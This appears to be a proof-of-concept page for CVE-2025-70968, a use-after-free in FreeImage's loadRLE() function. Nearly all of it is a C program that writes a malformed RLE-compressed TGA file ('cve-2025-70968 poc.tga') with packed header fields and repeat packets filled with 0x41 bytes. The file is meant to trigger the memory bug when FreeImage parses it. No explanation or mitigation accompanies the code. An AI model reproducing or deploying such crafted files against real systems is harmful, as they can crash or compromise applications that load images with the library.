CVE-2025-70968 FreeImage loadRLE() 使用后释放漏洞

/* * CVE-2025-70968 PoC - FreeImage loadRLE() Use After Free * Generate malicious TGA file to trigger UAF in loadRLE() * Usage: gcc -o poc poc.c && ./poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #pragma pack(push, 1) typedef struct { unsigned char id_length; unsigned char color_map_type; unsigned char image_type; unsigned short color_map_origin; unsigned short color_map_length; unsigned char color_map_depth; unsigned short x_origin; unsigned short y_origin; unsigned short width; unsigned short height; unsigned char bits_per_pixel; unsigned char image_descriptor; } TGA_HEADER; #pragma pack(pop) void generate_malicious_tga(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { perror("Failed to open file"); return; } TGA_HEADER header = {0}; header.image_type = 10; // RLE compressed true-color header.width = 256; header.height = 256; header.bits_per_pixel = 32; header.image_descriptor = 0x20; fwrite(&header, sizeof(TGA_HEADER), 1, fp); // Malformed RLE data to trigger UAF in loadRLE() unsigned char rle_packet[512]; memset(rle_packet, 0x41, sizeof(rle_packet)); // Craft RLE packets that cause memory management issues for (int i = 0; i < 4; i++) { rle_packet[i * 128] = 0x80 | 127; // RLE repeat packet fwrite(rle_packet, 128, 1, fp); } fclose(fp); printf("Malicious TGA file created: %s\n", filename); } int main() { generate_malicious_tga("cve-2025-70968 poc.tga"); printf("PoC for CVE-2025-70968 generated\n"); return 0; }